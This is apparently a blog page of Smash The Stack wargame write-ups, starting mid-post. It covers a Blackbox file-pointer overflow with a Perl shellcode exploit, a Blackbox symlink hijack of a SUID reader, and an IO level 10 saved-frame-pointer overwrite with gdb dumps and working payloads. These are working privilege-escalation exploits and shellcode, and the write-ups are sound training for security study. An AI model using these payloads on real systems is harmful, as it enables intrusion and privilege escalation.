There we can see our program in action and we can see that our shellcode was executed.  If there are problems (such as seg faults or normal execution), there are a few valuable places to set breaks.  I would suggest the following places for breaks: 0x080484f4 to check the value of eax which should be the overwritten file pointer. 0x080484df to check eax for the address of argv[1], to make sure the values being passed to the program are correct. fputs is a good place to put a break, as well as 0x00d234ba in fputs to verify the fp stored in esi.  Now, assuming, based on the successful test in gdb, we have these problems solved, let’s try and defeat the level for good!

The last peace in this puzzle is to determine the ebp in the normal Linux environment.  There are multiple aproaches to this problem, but since we have hardcoded addresses, lets just use the guess and check method!  One thing that helps, is to realize that gdb adds overhead, so in the normal environment, ebp will be at a “lower” address.  Thus, we know we should have to use a “lower” address, which is actually a larger numbered address.  For a simple calculation, let’s guess that gdb addes 0x10 to the overhead on the stack.  That means we can assume an out-of-gdb ebp value of 0xbfffd698.  Using that value, let’s recalculate our p1, p2 and buf pointers and write those values into our script file (which should now look like this):

#!/usr/bin/perl

my $sh = “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8\xb0\x2e\xcd\x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”;

print “\x80\x80\x80\x80”;
print “\x90″x66;
print “\x01”;
print “\x90″x78;
print “\x18\xd3\xff\xbf”;
print “\x90″x28;
print “\x38\xd3\xff\xbf”;
print $sh;
print “\x90″x804;
print “\x7f\xd2\xff\xbf”;

Now let’s go ahead and try to run this in the normal environment:

level6@blackbox:/tmp/.ttt$ ~/fsp `perl /tmp/.ttt/t.p`
sh-3.1$ whoami
level7
sh-3.1$ cat /home/level7/passwd
YYYYYYYYY

There we go!  We were able to exploit a buffer overflow vulnerability even when there wasn’t a return address to overwrite.  In this case, we overwrite a file pointer which allowed us to execute arbitrary code via fputs.  This arbitrary code execution allowed us to spawn a shell and gain priviledge escellation.

Posted in BlackBox, Smash The Stack, Wargames | Tagged , , , | Leave a comment

Blackbox Level 5 – Path/File Hijacking with Symlinks

Today we’re going to be looking at level 5 of the Blackbox wargame from the Smash The Stack network.  As always, the final password will be replaced with Y’s, and if you wish to follow a long, you will already need to have the password to level 5.  So without further adieu, let’s get started by ssh’ing into blackbox as level5.

Upon logging in, a quick directory listing shows us an executable called “list” and what we can assume is it’s source code, “list.c”.  To evaluate the program, let’s move forward by viewing the file “list.c”.

level5@blackbox:~$ more list.c
#include <stdio.h>
int main(int argc, char **argv)
{
char buf[100];
size_t len;
char fixedbuf[10240];
FILE *fh;
char *ptr = fixedbuf;
int i;

fh = fopen(“somefile”, “r”);
if(!fh)
return 0;

while((len = fread(buf, 1, 100, fh)) > 0) {
for(i = 0; i < len; i++) {
// Disable output modifiers
switch(buf[i]) {
case 0xFF:
case 0x00:
case 0x01:
break;
default:
*ptr = buf[i];
ptr++;
}
}
}
printf(“%s”, fixedbuf);

fclose(fh);
}

Upon inspection we can see a few members of the main function declared, followed by the procedure.  Some of the members are: a 100 character array called buf, a variable called len which is of size_t, a 10K char array called fixedbuf, a FILE pointer called fh, a char pointer called ptr (instantiated to point to the start of fixedbuf), and an int called i.  Following member declaration, the procedure starts.

First, a local file called “somefile” is opened for reading and passed to the FILE pointer “fh”.  If there is a problem opening the file for reading, the program exits returning 0.  Next, 100 bytes are read from the file at a time into the “buf” array.  These bytes are read through progressively and as long as they aren’t an instance of 0xFF, 0x00, or 0x01, they are copied into “fixedbuf”, and the next byte is assessed.  Once the full file has been copied into “fixedbuf,” the printf is called to print the string represented at “fixedbuf.”  Finally “fh” is closed and the program exits.

So, let’s think about how this program works, and how we might be able to alter it’s assumptions to get the password for level 6.  We know that blowfish stores passwords in the home directories, so we need to read /home/level6/password.  We also know this program is running SUID as level6 and thus should be able to read that file.  However, the program is set to read a hard-coded file name, the file called “somefile” in the current directory.  Thus, what can we do?  Even if we switched directories to /home/level6, how could we get the program to read “password” file instead of “somefile” file?

Well, we can use links.  Links are available in many operating systems and essentially allow for multiple virtual locations (such as “/tmp/.tt/file1” and “/tmp/.tt/file2”) to point to the same physical file on a disk.  This is useful to save space on a disk or help organize files that are shared.  Symbolic links or symlinks make it so even though two different paths point to the same file, they still resolve as the separate paths.  We can make use of symlinks in this level to create a symlink called “somefile” in the local directory which points to the file we want to read, /home/level6/password.  To make a link we’re going to use the linux command “ln”.  To get information on the command, please perform “ln –help” on your own, I don’t want to post it here just to save space.  However, in creating symlinks, we’re going to have to use the -s flag.  Let’s look at making the symlink in action:

level5@blackbox:/tmp/.ttt$ ln -s /home/level6/password ./somefile
level5@blackbox:/tmp/.ttt$ ls -la
total 16
drwxr-xr-x 2 level5 gamers 4096 Sep 25 02:40 .
drwx-wx-wt 95 root root 12288 Sep 25 02:40 ..
lrwxrwxrwx 1 level5 gamers 21 Sep 25 02:40 somefile -> /home/level6/password

From the file listing, we can see that there is now a file called “somefile” and on the information about the file, it is marked as “l” for link.  We also see that it points to /home/level6/password.  Now let’s go a head and run the vulnerable program and see if it resolves the link and reads the password for us!

level5@blackbox:/tmp/.ttt$ ~/list
YYYYYYYYYYYY

There we have it!  Using a simple symlink we were able to take a program which reads and displays the contents of a file with a hardcoded filename, and cause it to output any file of our choosing, even one with sensitive information such as a password!

Posted in BlackBox, Smash The Stack, Wargames | Tagged , , , | Leave a comment

IO Level 10 – All Your Base Are Belong To Us

Today we’re going to be taking a look at level 10 of the Smash The Stack wargame, IO.  As usual, the password at the end will be stripped out and replaced with Y’s.  To follow a long, go a head and ssh into level10 on io.smashthestack.org with the password obtained from finishing level 9.

Once we’ve logged in, the first thing we want to do is check out our files for the level.  Getting a quick ls -la /levels/level10* shows us there are two files of interest, an executable and it’s C source file.  Let’s start our analysis by reading the source file:

level10@io:~$ more /levels/level10.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Contributed by Torch

int limit, c;
int getebp() { __asm__(“movl %ebp, %eax”); }

void f(char *s)
{
int *i;
char buf[260];

i = (int *)getebp();
limit = *i – (int)buf + 1;

for (c = 0; c < limit && s[c] != ‘\0’; c++)
buf[c] = s[c];
}

int main(int argc, char **argv)
{
int cookie = 1000;
if (argc != 2) exit(1);
f(argv[1]);

if ( cookie == 0xdefaced ) {
setresuid(geteuid(), geteuid(), geteuid());
execlp(“/bin/sh”, “/bin/sh”, “-i”, NULL);
}
return 0;
}

Reading through, we can see the program takes one command line argument, and passes it to the “f” function.  It later checks to see if the integer variable “cookie” is equal to the hex value 0xdefaced, and if it is, a shell is spawned.  Simple enough so far, now let’s look at that “f” function.

This function takes one character pointer, “s”, as an argument and has two variables, an integer pointer called “i” and a character array of size 260 called “buf”.  It then assigns to “i” the value returned from the “getebp” function.  Following that, the global integer variable “limit” is set to the dereferenced value of “i” minus “buf” plus one.  Finally, there is a for-loop which copies bytes one at a time from “s” to “buf” until “limit” is reached, or “s” contains a null character, marking the end of a string.  While this for-loop uses “limit” to try and limit stack smashing from a buffer overwrite, it isn’t initialized in a fully safe manner.

Given what we should know about memory layout, the difference between buf (which represents the low memory address of the stack) and ebp (which represents the high memory address of the stack), is the length of the stack frame.  Additionally, adding one makes “limit” one longer than the length of the stack frame.  This means that one byte past the end of the stack can be overwritten.  So, how can we use that to change the value of the “cookie” variable in main?  Well, let’s look at the beginning of f() in gdb:

(gdb) disass f
Dump of assembler code for function f:
0x0804841b <f+0>: push %ebp
0x0804841c <f+1>: mov %esp,%ebp
0x0804841e <f+3>: sub $0x128,%esp

The very first line we can see that ebp is pushed onto the stack.  This effectively saves it before the “f” function changes it and uses it for it’s own use.  When f() finishes running, it restores ebp to the value which was pushed onto the stack (the “leave” instruction in f does this).  Thus, in our program today, main’s ebp is the 4 bytes on the stack immediately preceding f()’s stack frame.  The term for this saved ebp is the Saved Frame Pointer (SFP).  So, now we know that the “f” function is written in a manner which allows the least significant byte of the SFP to be overwritten.  That’s great and all, but that doesn’t let us overwrite the “cookie” variable in main. So, how does it help us?

Well as it turns out, main (or any other function) doesn’t know the exact address of any of it’s local variables.  Instead, it knows the offsets of variables from the frame’s base pointer.  This is so a program doesn’t have to hard-code memory addresses.  However, it intrinsically makes programs vulnerable to frame hijacking.  If we can change the ebp of a frame to a memory location where we can control what is at which offsets, we can effectively make the program use different variables.  This is exactly what we will do here. Even though f() doesn’t overwrite all of the SFP, it does overwrite the last byte.  So, let’s look in memory and see what we can do with that value.  Let’s go a head and run the program through gdb, breaking in f() before leave, after the for-loop has run.  Let’s also run with an argument that’ll overflow the buffer, say 300 A’s:

Breakpoint 6, 0x08048488 in f ()
(gdb) x/400xb $esp
0xbfffda50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda68: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda78: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda88: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda90: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda98: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdaa0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdaa8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdab0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdab8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdac0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdac8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdad0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdad8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdae0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdae8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdaf0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdaf8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb00: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb08: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb10: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb18: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb20: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb28: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb30: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb38: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb40: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb68: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb78: 0x41 0xdb 0xff 0xbf 0xc5 0x84 0x04 0x08 <– overwrite stops, 297 bytes overwritten max. Overwrites 1 byte of sfp
0xbfffdb80: 0x6b 0xdd 0xff 0xbf 0xe4 0x96 0x04 0x08
0xbfffdb88: 0xa8 0xdb 0xff 0xbf 0x59 0x85 0x04 0x08
0xbfffdb90: 0xc5 0x15 0x3a 0x00 0x80 0x23 0xc0 0x00
0xbfffdb98: 0x4b 0x85 0x04 0x08 0xe8 0x03 0x00 0x00 <– cookie ;c
0xbfffdba0: 0xf4 0x4f 0x4b 0x00 0x00 0x00 0x00 0x00
0xbfffdba8: 0x28 0xdc 0xff 0xbf 0xa6 0x8c 0x38 0x00
0xbfffdbb0: 0x02 0x00 0x00 0x00 0x54 0xdc 0xff 0xbf
0xbfffdbb8: 0x60 0xdc 0xff 0xbf 0xc8 0x28 0x68 0x00
0xbfffdbc0: 0x10 0xdc 0xff 0xbf 0x8e 0xff 0x77 0x01
0xbfffdbc8: 0xf4 0xff 0xc0 0x00 0x43 0x82 0x04 0x08
0xbfffdbd0: 0x01 0x00 0x00 0x00 0x10 0xdc 0xff 0xbf
0xbfffdbd8: 0x66 0x19 0xc0 0x00 0xb0 0x0a 0xc1 0x00

Looking at the end of writing, we can see that SFP gets one byte overwritten.  Additionally, we can see that since it’s close in memory location, SFP’s address is almost the same as some of the addresses in buf (the list of 0x41’s).  So here’s an idea, since we control what’s in buf, let’s try and set SFP to point into buf somewhere.  Let’s try and figure out what offset cookie is at in main’s stack frame.  To do that, let’s look at the disassembly of main, speficially the following line:

0x080484c5 <main+59>:   cmpl   $0xdefaced,-0xc(%ebp) –compare value defaced to cookie

The above line does what the added comment says, compares the hex value 0xdefaced to the value of cookie.  Thus we can see cookie is at offset -0xc, or decimal value 12 from ebp. Thus, we need to have the value 0xdefaced in memory 12 bytes “lower” than our fake ebp.  So now, let’s think about where we’ll place our value in memory in buf, and how we’ll overwrite the SFP to give a fake ebp and frame.

If we overwrite SFP with the byte 0x44 (ascii “D”), the fake SFP will point to 0xbfffdb44.  Subtracting 12 from that, we see we need to store our value for cookie (0xdefaced) at 0xbfffdb44 – 0xc, which is 0xbfffdb38.  We also know we need to fill up 297 bytes.  So from the memory block above, the space between the start of buf and 0xbfffdb38 is 232, then we need to write our four bytes of 0xdefaced.  Finally we need to fill the rest with “D”s.  So let’s run it through gdb, and check our memory during a break point just to make sure:

(gdb) run `perl -e ‘print “D”x232,”\xed\xac\xef\x0d”,”D”x61’`
Starting program: /levels/level10 `perl -e ‘print “D”x232,”\xed\xac\xef\x0d”,”D”x61’`

Breakpoint 1, 0x08048488 in f ()
(gdb) x/400xb $esp
0xbfffda50: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda58: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda60: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda68: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda70: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda78: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda80: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda88: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda90: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda98: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdaa0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdaa8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdab0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdab8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdac0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdac8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdad0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdad8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdae0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdae8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdaf0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdaf8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb00: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb08: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb10: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb18: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb20: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb28: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb30: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb38: 0xed 0xac 0xef 0x0d 0x44 0x44 0x44 0x44
0xbfffdb40: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb48: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb50: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb58: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb60: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb68: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb70: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb78: 0x44 0xdb 0xff 0xbf 0xc5 0x84 0x04 0x08
0xbfffdb80: 0x6b 0xdd 0xff 0xbf 0xe4 0x96 0x04 0x08
0xbfffdb88: 0xa8 0xdb 0xff 0xbf 0x59 0x85 0x04 0x08
0xbfffdb90: 0xc5 0xf5 0x13 0x00 0x80 0x23 0xf1 0x00
0xbfffdb98: 0x4b 0x85 0x04 0x08 0xe8 0x03 0x00 0x00
0xbfffdba0: 0xf4 0x2f 0x25 0x00 0x00 0x00 0x00 0x00
0xbfffdba8: 0x28 0xdc 0xff 0xbf 0xa6 0x6c 0x12 0x00
0xbfffdbb0: 0x02 0x00 0x00 0x00 0x54 0xdc 0xff 0xbf
0xbfffdbb8: 0x60 0xdc 0xff 0xbf 0xc8 0xa8 0xa2 0x00
0xbfffdbc0: 0x10 0xdc 0xff 0xbf 0x8e 0xff 0x77 0x01
0xbfffdbc8: 0xf4 0xff 0xf1 0x00 0x43 0x82 0x04 0x08
0xbfffdbd0: 0x01 0x00 0x00 0x00 0x10 0xdc 0xff 0xbf
0xbfffdbd8: 0x66 0x19 0xf1 0x00 0xb0 0x0a 0xf2 0x00
(gdb) step
Single stepping until exit from function main,
which has no line number information.
Executing new program: /bin/bash
sh-4.1$

Alright!  There we have it in gdb.  However, outside of gdb, memory is allocated sightly differently and it’s extremely difficult to pinpoint a specific memory address such as 0xbfffdb38.  So how would we do this outside of gdb so we could actually get privilege escalation?

Well, we don’t have to be as technically precise as we were with gdb.  If we fill buf with repetitions of 0xdefaced and overwrite the SFP to point somewhere in there, we just have to make sure the offset is correct so that SFP-12 points to the beginning of one of the repetitions of 0xdefaced.  So let’s try that:

level10@io:~$ /levels/level10 `perl -e ‘print “\xed\xac\xef\x0d”x74,”D”‘`
sh-4.1$ whoami
level11
sh-4.1$ cat /home/level11/.pass
YYYYYYYYYYYY

Tada!  There we have it.  We were able to hijack main’s ebp by overwriting the SFP in f().  This effectively allowed us to trick main into thinking the value of it’s variables had changed, even though the original variable value at the original location hasn’t changed.    This level goes to show how buffer overflows can cause unwanted effects even without attacking the return address, and how important the base pointer is.

Posted in IO, Smash The Stack, Wargames | Tagged , , , , | Leave a comment